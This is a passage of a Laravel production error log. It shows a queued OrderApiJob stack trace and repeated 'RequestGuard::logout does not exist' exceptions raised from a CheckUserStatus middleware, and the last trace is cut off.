#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): App\\Jobs\\OrderApiJob->handle()
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Util.php(43): Illuminate\\Container\\BoundMethod::{closure:Illuminate\\Container\\BoundMethod::call():35}()
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(96): Illuminate\\Container\\Util::unwrapIfClosure(Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(35): Illuminate\\Container\\BoundMethod::callBoundMethod(Object(Illuminate\\Foundation\\Application), Array, Object(Closure))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Container.php(799): Illuminate\\Container\\BoundMethod::call(Object(Illuminate\\Foundation\\Application), Array, Array, NULL)
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(129): Illuminate\\Container\\Container->call(Array)
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Bus\\Dispatcher->{closure:Illuminate\\Bus\\Dispatcher::dispatchNow():126}(Object(App\\Jobs\\OrderApiJob))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(App\\Jobs\\OrderApiJob))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(133): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(134): Illuminate\\Bus\\Dispatcher->dispatchNow(Object(App\\Jobs\\OrderApiJob), false)
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Queue\\CallQueuedHandler->{closure:Illuminate\\Queue\\CallQueuedHandler::dispatchThroughMiddleware():127}(Object(App\\Jobs\\OrderApiJob))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(App\\Jobs\\OrderApiJob))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(127): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(68): Illuminate\\Queue\\CallQueuedHandler->dispatchThroughMiddleware(Object(Illuminate\\Queue\\Jobs\\RedisJob), Object(App\\Jobs\\OrderApiJob))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Jobs/Job.php(102): Illuminate\\Queue\\CallQueuedHandler->call(Object(Illuminate\\Queue\\Jobs\\RedisJob), Array)
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(487): Illuminate\\Queue\\Jobs\\Job->fire()
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(437): Illuminate\\Queue\\Worker->process('redis', Object(Illuminate\\Queue\\Jobs\\RedisJob), Object(Illuminate\\Queue\\WorkerOptions))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(201): Illuminate\\Queue\\Worker->runJob(Object(Illuminate\\Queue\\Jobs\\RedisJob), 'redis', Object(Illuminate\\Queue\\WorkerOptions))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(148): Illuminate\\Queue\\Worker->daemon('redis', 'default', Object(Illuminate\\Queue\\WorkerOptions))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(131): Illuminate\\Queue\\Console\\WorkCommand->runWorker('redis', 'default')
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): Illuminate\\Queue\\Console\\WorkCommand->handle()
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Util.php(43): Illuminate\\Container\\BoundMethod::{closure:Illuminate\\Container\\BoundMethod::call():35}()
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(96): Illuminate\\Container\\Util::unwrapIfClosure(Object(Closure))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(35): Illuminate\\Container\\BoundMethod::callBoundMethod(Object(Illuminate\\Foundation\\Application), Array, Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Container.php(799): Illuminate\\Container\\BoundMethod::call(Object(Illuminate\\Foundation\\Application), Array, Array, NULL)
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Console/Command.php(211): Illuminate\\Container\\Container->call(Array)
#29 /home/talaah/public_html/vendor/symfony/console/Command/Command.php(341): Illuminate\\Console\\Command->execute(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Illuminate\\Console\\OutputStyle))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Console/Command.php(180): Symfony\\Component\\Console\\Command\\Command->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Illuminate\\Console\\OutputStyle))
#31 /home/talaah/public_html/vendor/symfony/console/Application.php(1102): Illuminate\\Console\\Command->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#32 /home/talaah/public_html/vendor/symfony/console/Application.php(356): Symfony\\Component\\Console\\Application->doRunCommand(Object(Illuminate\\Queue\\Console\\WorkCommand), Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#33 /home/talaah/public_html/vendor/symfony/console/Application.php(195): Symfony\\Component\\Console\\Application->doRun(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Console/Kernel.php(198): Symfony\\Component\\Console\\Application->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1235): Illuminate\\Foundation\\Console\\Kernel->handle(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#36 /home/talaah/public_html/artisan(13): Illuminate\\Foundation\\Application->handleCommand(Object(Symfony\\Component\\Console\\Input\\ArgvInput))
#37 {main}","previous_exception":null,"context":{"job_class":"App\\Jobs\\OrderApiJob","timestamp":"2026-03-24 22:17:13","memory_usage":55050240,"memory_peak":55050240}} 
[2026-03-24 22:17:17] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:17:26] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:17:29] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
